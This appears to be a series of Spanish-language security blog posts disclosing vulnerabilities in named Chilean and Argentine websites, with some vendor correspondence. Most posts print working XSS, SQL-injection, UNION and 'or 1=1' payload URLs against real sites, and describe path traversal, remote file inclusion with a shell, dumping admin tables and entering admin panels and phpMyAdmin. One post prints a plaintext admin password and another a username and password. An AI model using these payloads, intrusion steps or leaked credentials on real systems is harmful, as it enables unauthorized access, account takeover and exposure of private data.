La URL vulnerable es http://tvndeportes.cl/intersitial/index.html?link=, a “link” podemos asignarle cualquier URL y el navegador será redireccionado a esa URL. Por ejemplo:

http://tvndeportes.cl/intersitial/index.html?link=http://sitio.webmaligno.com/pics/pics.exe

Quizá este método solo nos permita redireccionar a un usuario y nada mas, pero con un poco de imaginación y trabajo, perfectamente ese usuario podría ser engañado por email para ingresar a un sitio confiable de TVN y redirigirlo a un sitio de streaming falso, donde le haga aceptar la descarga de un archivo (troyano) para que pueda ver el video. Aprovechandose de todo esto del mundial, la locura por ver los partidos en alta definicion, perfectamente un atacante podría insitar a un usuario a descargar un programa para poder ver el partido, desde el sitio de tvn, en alta definición y gratis, obviamente “ese” programa sería un virus o algo similar.

Compartir/Guardar

Estimado Fernando:

Me dirijo a usted como representante de la Empresa E-Sign, en mi calidad de Gerente de Operaciones,  para comentarle algunos de los alcances que ha tenido para nosotros el  reporte de vulnerabilidad XSS que usted ha publicado a fines de la semana pasada.  Con su información hemos verificado los errores reportados, y nuestros programadores se encuentran trabajando en la revisión y corrección de otros posibles problemas. Específicamente, aquellos relacionados con el “contacto.php” se corrigieron el 30 de Abril en la tarde.

Le agradecería que, en el caso de detectar una nueva vulnerabilidad o la posibilidad de ella en nuestro sitio, lo informe directamente a mi correo particular o telefónicamente a la empresa. Asimismo, le solicitamos que nos dé un  espacio de tiempo suficiente para corregir el problema, antes de publicarlo en internet.

Finalmente, a nombre de E-Sign, quisiéramos agradecerle su nota y enfatizar que tomaremos todas las medidas necesarias para evitar que este tipo de problemas vuelvan a ocurrir.

Creo que es una buena respuesta y es la forma en que deberían actuar las empresas cuando se les informa sobre algún fallo, bug o vulnerabilidad que los afecta.
Podemos ver que el enlace vulnerable: https://www.e-sign.cl/contacto.php?prefilla=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E ya no se ve afectado.

Compartir/Guardar

La idea de un sitio con certificado SSL es que toda la información viaje cifrada, pero la gente de E-Sign al parecer no piensan eso. Al menos dos formularios del sitio envían la información sin cifrar, entonces ¿Para qué usan el certificado SSL?

Quizá no es tan crítico, ya que se trata del formulario de contacto y el buscador, pero ya que ellos obligan al usuario a confiar de ellos aun cuando los formularios no se envian de forma segura, nosotros aprovecharemos de generar otro tipo de trafico de manera insegura, por ejemplo insertando un formulario falso o un sitio externo mediante XSS.

¿A qué me refiero con esto? Sencillo, cuando estás navegando en un sitio seguro y en él, existe información que viaja de manera no-segura (sin cifrar), el navegador nos alerta y nos pregunta si queremos continuar.

En cierta forma, E-Sign está obligando al usuario a confiar en ellos y para proceder, el usuario tendrá que poner aceptar. Si ellos lo hacen, ¿por qué nosotros no?

Nos aprovechamos de una vulnerabilidad XSS que presentan algunos links, por ejemplo link de “Contacto”:

https://www.e-sign.cl/contacto.php?prefilla=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

Mediante XSS podriamos perfectamente modificar el formulario, agregar y quitar campos y redireccionar la informción hacia otro sitio o bien colocar un iframe externo que nos permita insertar un formulario arbitrario para capturar información que necesitamos.

Con un poco de ingenieria social y un poco del arte del engaño, seguramente podemos explotar aun mas esta vulnerabilidad. Muchas veces la vulnerabilidad va más alla de si misma, depende mucho del sitio sobre el cual se intenta explotar, en este caso, es mucho mas grave que en el caso del post anterior.

Lo que encuentro más problematico, es que una empresa de seguridad, quienes ofrecen un servicio Anti Phishing, tengan este tipo de vulnerabilidades, le resta demasiada credibilidad a la empresa, lamentablemente las personas que contratan estos servicios generalmente no saben mucho del tema y creen que estaran en buenas manos y muchas veces estan cometiendo un error entregando su seguridad a las personas equivocadas.

Como de costumbre, intenté contactarme con los encargados mediante el formulario de contacto del sitio pero no he obtenido ningun tipo de respuesta.

ACTUALIZACIóN – 3/Mayo/2010: La empresa se ha contactado conmigo via email. Más información acá.

Compartir/Guardar

La URL vulnerable es

http://www.wei.cl/catalogue/product_search.htm?ph=&query=

Podemos inyectar código javascript en el valor de la variable “ph” y con esto insertar un frame o algun elemento externo al sitio y hacelo parecer como si fuera del sitio usando la confianza que tienen los clientes, como por ejemplo un iframe o bien un javascript que nos envie la cookie de la sesion a otro sitio.

Prueba de Concepto (PoC)

http://www.wei.cl/catalogue/product_search.htm?ph=%22%3E%3Cscript%3Ealert%28this%29%3C/script%3E&query=+++++Buscar+++++

http://www.wei.cl/catalogue/product_search.htm?ph=%22%3E%3Ciframe%20src=%22http://google.com%22%3E%3C/iframe%3E&query=+++++Buscar+++++

En el sitio se pueden encontrar links de contacto y emails para escribir tipo info@wei.cl, ni los links ni los emails funcionan. Intenté reportar el problema pero el correo que envié al destinatario que en la misma página aparece, me rebotó.

Compartir/Guardar

La semana pasada he descubierto una vulnerabilidad Cross-Site Scripting (XSS) en el sitio web de RedBanc.

Redbanc S.A.. es una empresa que presta servicios de interconexión bancaria, es decir permite a los clientes de todos los bancos asociados realizar distintas operaciones, depósitos, transferencias, giros, etc. a través de una red cajeros automáticos, que son computadores interconectados, permitiéndole al cliente realizar una serie de operaciones que antiguamente se debían realizar en una caja normal y con la restricción del horario.

Está de más decir que con esta vulnerabilidad encontrada es posible realizar phishing, robos de identidad (robos de cookies mediante xss) y muchas otras cosas más relacionadas con estáfas usando la confianza el sitio RedBanc.cl.

La vulnerabilidad se encuentra en la no-validación de los parametros de entrada en la URL http://www.redbanc.cl/portal_redbanc/browse?pagina=portal_redbanc/inicio.htm. Si modificamos la variable “pagina” y preparamos un javascript especialmente para el robo de cookies o bien algun sitio web externo que nos permita hacer phishing, basta con que coloquemos el código necesario y se lo asignemos a la variable.

Explicación

Cuando se cambia el valor de la variable pagina el sistema reportará que la página no existe. El mensaje de error tomará el valor que ingresamos en la variable y lo mostrará de la siguiente forma:
- En el caso de http://www.redbanc.cl/portal_redbanc/browse?pagina=veamos/si/existe/la/pagina.htm podemos ver el mensaje de error

Pagina no existe
Pagina veamos/si/existe/la/pagina.htm no disponible

Si nos damos cuenta, lo que dice justo debajo de “Pagina no existe” es justo lo que pusimos como valor de la variable pagina por lo que asumimos que cualqiuer cosa que pongamos en su lugar será mostrado y por ende si inyectamos un código html éste será mostrado e interpretado por nuestro navegador.

PoC

Inyectando un código javascript:
http://www.redbanc.cl/portal_redbanc/browse?pagina=<script>alert('XSS')</script>

Inyectando un iframe con destino a otro sitio, el cual podría contener un sitio web maligno:
http://www.redbanc.cl/portal_redbanc/browse?pagina=<iframe src=http://sitio.web</iframe></iframe>

(más información sobre este último punto en: Haciendo phishing explotando una vulnerabilidad XSS)

He intentado contactarme con los encargados del desarrollo del sitio pero no he obtenido respuesta. El formulario de contacto del mismo sitio web no funciona y he estado enviando correos a info@redbanc.cl (correo que aparece en el sitio web) y ni si quiera me han respondido que leyeron el correo.

Los riesgos

Los chilenos bien saben lo que es RedBanc y deberían imaginar los peligros que puede significar un fallo de este tipo en el sitio web oficial.
Explotando esta vulnerabilidad es posible robar la identidad de personas y obtener información privadas tales como nombres, rut, telefonos, números de cuenta bancaria y claves de acceso. Tratandose de un sitio web que tiene directa relacion con los bancos y tarjetas de débito es posible tambien obtener los dígitos del PIN PASS, usando un poco de ingenieria social y engañando a los usuarios con falsos e identicos sitios y formularios.

Aclaración

La vulnerabilidad fue avisada el Jueves de la semana pasada por primera vez, luego intente contactarme con ellos el día Lunes y tambien el Martes y, siendo Jueves, aún no he obtenido ninguna respuesta, ni si quiera acusando que el correo que les envié fue recibido.

ACTUALIZACIóN – 5/Mar/2010 12:30
Luego de numerosos correos enviados a la gente de redbanc reportando el error y sin obtener ninguna respuesta, decidí publicar este artículo y parece que ha dado resultado, porque la gente de Redbanc ya ha solucionado el problema, obviamente sin agradecer y sin emitir ningun tipo de comentario al respecto, simpemente solucionaron el problema como si nada ha pasado.
Buscando en Google me he dado cuenta que este sitio ha tenido esta misma vulnerabilidad en distintos scripts y y redbanc nunca dijo nada.

Compartir/Guardar

Este sistema de pago del transporte público de Santiago, tiene un sistema que nos permite monitorear en línea los saldos y los movimientos de nuestra tarjeta y de ésta forma saber dónde cargamos con dinero la tarjeta, en qué buses o metro la usamos, cuánto salgo nos queda, etc. Este sistema no es en tiempo real por lo que asumo que no saca los valores directamente de la base de datos del sistema de transporte, además desconozco si tiene permisos para escribir en la base de datos o solamente leer.
El sistema tiene un bug que nos puede permitir, con un poco de ingenio, hacer un ataque de denegación de servicio distibuido (DDoS) y dejar el sistema (de saldos y mov. en linea) offline y posiblemente realizar inyección de código SQL (SQL-Injection) . No me he puesto a investigar que otro impacto podría tener.

El sistema nos permite ver la cantidad de movimientos y saldos de nuestra tarjeta por periodos de mes actual, 60 y 90 días, sin embargo, es posible modificar esos valores alterando el atributo “value” del elemento del formulario. Si, así de sencillo.

Código HTML original:

Mes Actual
60 dias
90 dias

Pruebas de concepto (PoC)

1. Modificamos el valor de “Mes Actual” por un número negativo.

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

2. Modificamos el valor de “Mes Actual” por el número 5.

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

Si se fijan en la fecha, podrán ver que sólo se mostró información desde hace 5 días.

3. Modificamos el valor de “Mes Actual” por una comilla para generar un error de sintáxis:

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

Si cambiamos el valor de “Mes Actual” a uno muy alto, por ejemplo 99999999999999999999999999999999999999 podemos ver cómo el sistema ya comienza a comportarse de forma extraña, por ejemplo ver la fecha:

Operación: Cartola de movimientos
Tarjeta bip!: 6547XXXXX
Fecha: 11/02/2010 10:57
Movimientos desde: 90/37/-2.7

De ésta forma podemos manejar arbitrariamente la consulta.

Queda más que demostrado que el famoso sistema para ver los saldos y movimientos en línea de la tarjeta bip no está validando los parametros de entrada y con un poco de ingenio podemos realizar distintos tipos de ataques. Se pueden generar simultaneamente consultas pesadas en el servidor, provocando su caída. Tambien, con un poco más de conocimientos y habilidades es posible lograr la inyección de código sql en la consulta.

Compartir/Guardar

Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio “Cibertec.cl” que al parecer cumple todo para poder explotarla.Ç
Si ingresamos al sitio http://www.cibertec.cl y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede  ser vulnerable a SQLi.

Vamos a comprobarlo cambiando el número 587 por una comilla simple. Entonces ingresamos a http://www.cibertec.cl/detalle.php?item=’ y obtenemos el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1)
Session halted.

Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone “WHERE id = ‘“. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra “prueba” luego de la comilla simple, podemos ver el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘prueba
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”prueba’ at line 1)
Session halted.

Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.

Prueba de concepto (PoC)

Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.

1. Phishing: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: http://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=http://www.google.cl%3E%3C/iframe%3E
   (puede leer más sobre esto en un post que publiqué hace un tiempo)
2. Robo de credenciales: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: http://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E

De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.

Compartir/Guardar

Los errores más estúpidos comunes son validaciones mal hechas para ingresar a intranets, ficheros de respaldos visibles publicamente, directorios con información confidencial no protegidos, etc. Yo, como programador, se como funcionan estas cosas, los clientes quieren muchas cosas por muy poco dinero y, por ésto mismo, el programador decide optar por el camino más rápido posible. Por otro lado, sabemos que a los clientes no les importa mucho la seguridad y que cuando le dices que cobrarás un poco más por el hecho de agregarle seguridad al sitio o al sistema, ellos no lo entienden y prefieren el camino más barato. En fín, mientras no se invierta en seguridad, seguirán sucediendo cosas como las que les mostraré a continuación.

El primer caso (gracias a xwall o más conocido como El Arma Secreta, miembro del Hacklab por la información) es el del Instituto Chacabuco (del Colegio Maristas) quienes tienen una intranet donde podemos encontrar los datos de tosos los alumnos y apoderados. Estos datos son nombre, dirección, e-mail, número telefónico, etc.

Estos pantallazos pertenecen al area de administración de estudiantes (una intranet) que en teoría requiere un login, pero se puede bypassear fácilmente.

Este sitio además de poder mirar información, nos permite agregar, eliminar y modificar datos. Estoy seguro de que la misma forma que cometieron éste error, tienen otros más y que al agregar un usuario puedo adjuntar ficheros y lograr subir un archivo que me permita ejecutar código arbitrario en el servidor.

Pronto publicaré otro sitio con información expuesta.

Compartir/Guardar

Vamos a probar con las típicas rutas de Drupal para iniciar sesión, administrar el sistema, directorios de archivos subidos, themes, etc. A ver si encontramos algo interesante que nos pueda entregar información.

Si vemos el código fuente podemos deducir los siguientes paths:

modules/ Los módulos core de Drupal
sites/all
sites/all/modules Los módulos instalados manualmente
sites/default Directorio donde están los archivos subidos, configuraciones, etc

El primero “error” que encontramos, es el poder iniciar sesión sin validación de un captcha, de esta forma podemos hacer facilmente fuerza bruta al formulario de inicio de sesión de Drupal.

Para llegar a esta pantalla, debemos tipear en la barra de direcciones user/login.

http://www.efrei.cl/user/login

Si bien esto no es ningun fallo, bug o vulnerabilidad, hay que tener en claro que siento un sitio de un candidato presidencial y pensando en la cantidad de gente que piensa en hackear un sitio asi, no podemos dejar el inicio de sesión tan a simple vista y sin captcha.

Drupal es un CMS (o CMF) basado en módulos, para cualquier cosa que quieras hacer, debes hacer un módulo. Existe un módulo llamado “quicktabs” que tiene una vulnerabilidad de descubrimiento del directorio (Full Path Disclosure), al no validar el tipo de variable. Gracias a este módulo, hemos descubierto la ruta de instalación física de Drupal:

El directorio de instalación de Drupal es, claramente, /www/efrei.cl/html/. Tambien podemos ver esta misma vulnerabilidad en el módulo de calendario al ingresar a la URL:

http://www.efrei.cl/calendar?field_region_value_many_to_one[]=All

Seguramente hay más módulos instalados que nos puedan proveer de ésta información, pero sólo son éstas dos vulnerabilidades o fallos los que he podido encontrar, el sitio tiene la seguridad que Drupal provee, los directorios no permiten listar su contenido, tiene zonas de acceso restringido, etc.

Compartir/Guardar

En ese momento, me comuniqué con los encargados e intercambiamos 4 o 5 correos. Les comuniqué que tanto su sitio como sitios de clientes tenian graves vulnerabilidades, les dije exactamente que tipo de vulnerabilidades tenian y la forma de corregirlas. Luego de esto, la gente de GoldenData me preguntó si le podía hacer auditoría a otros sitios que tienen ellos … y yo, nada de tonto, le dije que si, pero como era un servicio que ellos me estaban pidiendo les cobraría mis horas hombre, luego de este último correo… la gente no se contactó nunca más conmigo… pues claro, querían que les hiciera auditoria gratis. Ahora me entero que la gente cambió totalmente el sitio web de su empresa pero no ha corregido los sitios de sus clientes. Esta véz no me centraré en GoldenData.cl, hablaré sobre los desarrollos que hacen ellos, es decir, sus clientes:

• http://www.artpetit.cl/
• http://www.videocity.cl/
• http://www.arapemaquetas.cl/
• http://www.questor.cl/
• http://www.almendradec.cl/
• http://www.kelsopro.cl/
• http://www.zanartu.cl/
• http://www.riosycia.cl/
• http://www.beeone.cl/

Tampoco me desgastaré en algo que ya hice: Comunicarme con la empresa, ya que además de ser aprovechadores, no supieron dar la cara.

Antes de empezar hice un análisis rápido a todos los sitios para descartar los que no tengan vulnerabilidades a simple vista. Los sitios descartados son: beeone.cl, almendradec.cl, kelsopro.cl, zanartu.cl y questor.cl. Empezaré a analizar las restantes:

1- http://www.artpetit.cl/
Las URL sospechosas para realizar LFI, RFI y XSS son las siguientes:

1. http://artpetit.cl/productos.php?categoria=Miniaturas
2. http://artpetit.cl/?pag=contactenos
3. http://artpetit.cl/?pag=contactenos&codigo=009F2&nombre=Oso%20en%20Balanc%EDn

Si intentamos agregar un código como por ejemplo <script>alert(object)</script> o cambiar el valor de la variable pag por algun path interno o externo (rfi, lfi) nos mostrara un mensaje que nos dirá: Not Acceptable.

Por lo que, si bien parecen ser vulnerables, no lo son. Por otro lado, si transformamos la variable pag o categoria a un arreglo (pag[]) veremos que el nos imprime el valor del Array, lo que nos dice automáticamente que no está parseando los valores de entrada, el mensaje “Not Acceptable” es a nivel de servidor y no de aplicación. Este error no ses crítico y no compromete en absoluto la seguridad del sistema.

http://artpetit.cl/productos.php?categoria[]=asdf

2- http://www.videocity.cl/
Si navegamos por el menú podremos ver una url como http://www.videocity.cl/#vitrina.php?dpto=Audio, lo primero que se nos ocurrirá es cambiar el valor de la variable dpto pero veremos que no tiene ningún resultado, la página se sigue viendo exáctamente igual. El truco es el siguiente: Remover el símbolo “#” y dejar la URL de la siguiente forma:

http://www.videocity.cl/vitrina.php?dpto=<script>alert(this)</script> y veremos que nos va a mostrar el alert. Con esto demostramos que este sitio es vulnerable a XSS, pudiendo insertar un iframe para realizar phishing o usar el sitio para cualquier cosa que nos imaginemos.
Podemos intentar el mismo truco para otras url donde se almacenen los id o secciones. Este sitio tiene el mismo error que el anterior al transformar alguna variable a Array.

3- http://www.arapemaquetas.cl/
Si intentamos hacer XSS a las URL del menú nos encontraremos con el mismo error que en el primer caso: Not acceptable. Sin embargo, la técnica de transformar la variable en un array nos permitirá saber el path del sitio dentro del sistema. A esto se le llama Full Path Disclosure.
La URL es:

http://www.arapemaquetas.cl/maquetas.php?categoria[]=Arquitectura

Obtendremos un resultado como:

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include() [function.include]: Failed opening ‘htmls/array.html’ for inclusion (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/arapemaq/public_html/maquetas.php on line 18

4- http://www.riosycia.cl/
Este sitio es vulnerable a XSS mediante la siguiente URL:

http://www.riosycia.cl/productos_categorias.php?categoria=%3Cscript%3Ealert%28this%29%3C/script%3E

Si recorremos los distintos links del sitio podremos encontrar la ruta a un fichero llamado clave.php:

http://www.riosycia.cl/aplicaciones/clave.php

Si ingresamos un correo cualquiera nos dirá que no está en la base de datos, sin embargo, si ingresamos el comodín

‘ or ’1′=’1

Nos dirá que el correo fue enviado a esa dirección. Lo que nos comprueba que ese formulario es vulnerable a SQL Injnection.

Vulnerabilidades detectadas: Full Path Disclosure, SQL Injection, XSS.
Alcance de las vulnerabilidades: Uso del sitio para hacer phishing y, mediante SQLi tener una infinidad de opciones para realizar ataques, incluyendo un D-o-S.
Errores detectados: Parametros de entrada sin filtros.

Como conclusión podemos decir que estas personas no  dedican tiempo al tema de la seguridad ya que los sitios que no eran vulnerables es porque son sitios estáticos y feos y aquellos que al intentar violarlos aparecia el menasje de “Not Acceptable” es porque el servidor donde esa empresa tenia alojada el sitio web estaba protegido. Esto último explica el hecho de que los sitios hechos de la misma forma funcionen en un servidor y en otros no.

Por lo tanto, NO recomiendo esta empresa.

Compartir/Guardar

Si bien todo esto podría ser usado indebidamente, no es el propósito. Antes de hacerlo público será necesario que generemos un disclaimer sobre los usos de la herramienta. Nosotros sólo estamos entregando una herramienta, el uso de ella va a depender de la ética de cada persona.

Lanzamiento …
Tenemos pensado lanzar al publico este proyecto en el Hackmeeting.

La herramienta …
La herramienta es super sencilla y consta de un pequeño formulario para reportar una vulnerabilidad.

Luego de esto, los distintos sitios web son almacenados en una base de datos y ordenados.

Compartir/Guardar

Tambien me gustaria emitir un comentario personal; las empresas que se dedican a realizar sitios, diseños de “última generación”, web 2.0, web marketing, etc etc y que dicen ser expertos en la captación de clientes, saben cómo navega un usuario en su sitio, etc siempre dejan de lado la seguridad y generalmente no tienen a gente altamente capacitada para programar o adminsitrar un servidor y es este motivo el que me da ganas de romperles la seguridad del sitio, de buena manera, obviamente.

Ya, vamos a la acción…

Como de costumbre, ingresamos al sitio y no nos dedicamos a recorrer las promociones, ni nada porque no nos interesa, lo que realmente nos interesa es encontrar links candidatos a ser explotados, si nos damos una vuelta rápida por el sitio vamos a encontrar rapidamente dos enlaces:

http://www.webseo.cl/formulario.php?plan=DWamedidad&tipo=contizar
http://www.webseo.cl/noticia_detalle.php?id=1

Vamos a destripar la primera url, intentando provocar un error, incluir ficheros loales/remotos, etc. Luego de intentarlo un par de veces nos damos cuenta que no es vulnerable (a simple vista) por lo que, para no perder el tiempo, nos vamos directamente a la segunda url, lo que primero se nos viene a la cabeza es un sql injection, pues intentemoslo:

El query select n.idnoticias, n.titulo, n.fecha_ingreso, n.foto, r.resumen, d.descripcion, c.idcategorias, n.categorias_idcategorias, c.nombre, n.estado, a.archivo from vmst_noticias n, vmst_resumen r, vmst_descripcion d, vmst_categorias c, vmst_archivo a where c.idcategorias=n.categorias_idcategorias and d.noticias_idnoticias=n.idnoticias and r.noticias_idnoticias=n.idnoticias and c.idcategorias=’1′ and n.idnoticias=a.noticias_idnoticias and n.idnoticias=’ and n.estado=’SI’ el inválidoYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘SI” at line 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘SI” at line 1

Ya tenemos el query, las filas, tablas, etc. Este mensaje de error nos facilitará la vida, vamos por las tablas que nos interesan, usuarios, password, etc etc. Encontramos las siguientes tablas:

vmst_archivo
vmst_bannear
vmst_administrador

Ya tenemos lo que nos interesa, la tabla vmst_administrador. El siguiente paso es obtener las columnas y luego la información:
Las columnas encontradas son email y pass las cuales contiene la siguiente información:

email | pass
cyenes@webseo.cl | 654321

Si hacemos un whois al dominio, podemos ver que el dueño se llama “CHRISTOPHER JOHN YENES BURGOS” y el email es cyenes@webseo.cl lo que podemos concluir, que ese email corresponde al dueño de la empresa. Si nos fijamos en la clave, corresponen a numeros desde el 6 hasta el 1 lo que es extremadamente fácil y entonces nos preguntamos

¿Si el dueño de la empresa usa password tan tontas como esas, queire decir que no confia en el sistema, entonces por que nosotros debemos confiar en él (ademas estan en exto plano!!!!)?

De lo contrario, si esta persona si confiara en sus sistemas, entonces ¿Por qué usa password tan fáciles y texto plano?

Ya habiendo encontrado este tipo de vulnerabilidad y habiendo concluido esto, queda claro que WebSeo no es una empresa de confianza, no demuestra profesionalidad.

Vulnerabilidades detectadas: SQL Injection.
Alcance de las vulnerabilidades: Recorrido de tablas y columnas, obtención de datos de las tablas.
Errores detectados: Passwords sin encriptación, no existen filtros de entrada en las URL.

Compartir/Guardar

Antes de exponer cualquir cosa, quiero dejar en claro que intenté comunicarme con los encargados (info@dch.cl email que aparece en la web) y no obtuve respuesta. Dejando claro esto, procedo

A simple viste, el sitio web de la empresa DCH Comunicaciones, no tiene ningun fallo para ser explotado, lo que me parece super bien. Lo interesante ahora es encontrar los sitios desarrollados por esa empresa y comenzar a buscar vulnerabildiades, para esto usaremos Google y buscaremos por ejemplo “Sitio desarrollado por DCH” o “Desarrollado por DCH” y aparecerán los posibles clientes:

Empezamos por ejemplo, con Yagode. Luego de analizar el sitio, podemos fijarnos que en la seccion “Construcción” existen distintas imágenes con links a url posiblemente vulnerables, como por ejemplo:

http://www.yagode.cl/construccion_detalle.php?idc=15

A simple viste, detectamos la variable “idc” que se le pasa un argumento. Como la pagina es tan fea y mal hecha ya estamos familizarizados estas cosas, nos imaginamos automaticamente que es vulnerable a SQL Injection, entonces probamos. Simplemente añadimos una comilla para saber si es vulnerable y nos econtramos que, al mismo tiempo de tener SQLi, acabamos de explotar una vulnerabilidad de Full Path Disclosure:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/yagode/public_html/construccion_detalle.php on line 63

Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /home/yagode/public_html/construccion_detalle.php on line 143

Tenemos ya el path completo donde esta ubicado el sitio web, quizas en un futuro no muy lejano nos pueda servir. Sigamos con la SQLi. Probamos usando la clasica tecnica del union y llegamos a la siguiente conclusion:

http://www.yagode.cl/construccion_detalle.php?idc=2+union+select+1,2,3,4,5,6,7,8+–+

Esto nos demuestra que es vulnerable a SQL Injection, si trabajamos un poco mas en la consulta, podemos obtener los datos del servidor, como por ejemplo:

Version del servidor

Nombre de usuario

Podemos ponernos un poco mas serios y empezar a obtener los nombres de la tablas de la base de datos, para luego ir obteniendo la información de cada una, si fuese necesario. Los nombres de las tablas son:

t01_corretaje
t02_publica
t03_construccion
tbl_admin

Obviamente, la que más nos interesa es la tbl_admin que, en teoría podría contener datos importantes como usuarios, correos, claves, etc. Obviamente la vamos a analizar, los campos de la tabla tbl_admin son:

adm_id
adm_estado
adm_usuario
adm_clave
adm_email

Los datos que nos interesan son adm_usuario, adm_clave y adm_email. Esperamos que adm_clave este en texto plano. Procedemos a obtener los datos de esa tabla usando la inyeccion sql necesaria y nos encomtramos con la agradable sorpresa de que las claves se estan almacenando en TEXTO PLANO!!! El primer dato obtenido corresponde al siguiente:

adm_usuario:  snyt2009 adm_clave: snyt2009

Y al parecer, es el único usuario en esa tabla. Pero es suficiente, ingresemos al panel de administración, que no sabemos donde está, pero me imagino que podria ser en /admin:

http://www.yagode.cl/admin

BINGO!!

Con esto ya tenemos suficiente, hemos ingresado al panel de administración del sitio de uno de los clientes de DCH Comunicaciones, por conclusión decimos que el cliente “Uniformese.com”, con la URL http://www.uniformese.com/old/productos/detalle_pop.php?&cod=1 tambien es vulnerable de la misma forma, por lo que finalizo este full disclosure concluyendo lo siguiente:

Vulnerabilidades detectadas: Full Path Disclosure, SQL Injection.
Alcance de las vulnerabilidades: Acceso al panel de administración y obtención de datos sensibles.
Errores detectados: Passwords en bases de datos en texto plano, parametros de entrada sin filtros.

Habiendo dicho todo esto, yo NO recomiendo a esta empresa.

Compartir/Guardar

Habien dicho todo esto, llego el momento de la acción. Wanna rock?

El sitio que usaremos será el de Veramonte y las vulnerabilidades que explotaré enseñaré son Full Path Disclosure y Directory Transversal (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).
Como primer paso, ingresaremos al sitio http://www.veramonte.cl y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:

http://www.veramonte.cl/archivo/archivo2.php?cat=bodega

Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:
http://www.veramonte.cl/admin/download.php?path=

Mis ojos se dirigieron directamente a la variable “path” y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:

Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un path disclosure introduciendo una ruta inválida, por ejemplo:
http://www.veramonte.cl/admin/download.php?path=asdfgh
Nos encontramos que php nos muestra el siguiente error:

Warning: fopen(asdfg) [function.fopen]: failed to open stream: No such file or directory in /var/www/veramonte/html/admin/download.php on line 5

Warning: fpassthru(): supplied argument is not a valid stream resource in /var/www/veramonte/html/admin/download.php on line 6

Con esto ya tenemos el full path al descubierto: /var/www/veramonte/html.
La cosa acá se pone divertida, descarguemonos el /etc/passwd:
http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd
Nos encontramos con la sorpresa de que el servidor está “protegido”:

Pero no importa, aún podemos seguir jugando. Descargamos el index.php para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.

Lo único que podemos rescatar el index es lo siguiente (código php):

La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y ……. bingo!!, lo tenemos:

Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en http://veramonte.cl/phpmyadmin:

Creo que con esto, el objetivo ya está logrado.

Compartir/Guardar

Las vulnerabilidades encontradas corresponden a las del tipo Local File Include (LFI), Remote File Include (RFI) y Remote Code Execution (RCE)

El script vulnerable es el index.php, el que soporte como parametro mediante la variable “contenido”, un fichero local o remoto.
Como primera prueba, intentaremos embedir google dentro del sitio, pasando como parametro la direccion de google:

Entonces es hora de incluir nuestra shell remota y ejecutar algunos comandos, para saber que control tenemos sobre el servidor:

$ whoami; pwd; id;
apache
/webhosting/mincyt/html
uid=48(apache) gid=48(apache) groups=48(apache)

Listado de directorios de la raíz:

Listado de directorio actual:

(click para imágen completa)

Este tipo de sitios se puede utilizar como proxy, es decir, navegar “anonimamente” usando la dirección IP del ministerio de tecnología de argentina, por ejemplo, ingresamos a un sitio que nos muestra información sobre nuestra IP, desde el servidor de mincyt:

Como podemos ver, la direccion de origen es goku.mincyt.gob.ar, que mejor, estamos navegando desde el ministerio de ciencia y tecnologia de argentina y ademas desde Goku!

Actualización (12/Ago/2009 – 21:33hrs): Debido a un artículo publicado en segu-info, me entro que ArCert (coordinación de emergencias en redes teleinformáticas) se hará cargo del asunto, intentando comunicarse a la brevedad con los responsables para solucionar el problema.

Actualización (13/Ago/2009 – 11:27hrs): Corrigieron el problema de Remote File Include y Remote Code Execution, la vulnerabilidad LFI aún persiste.

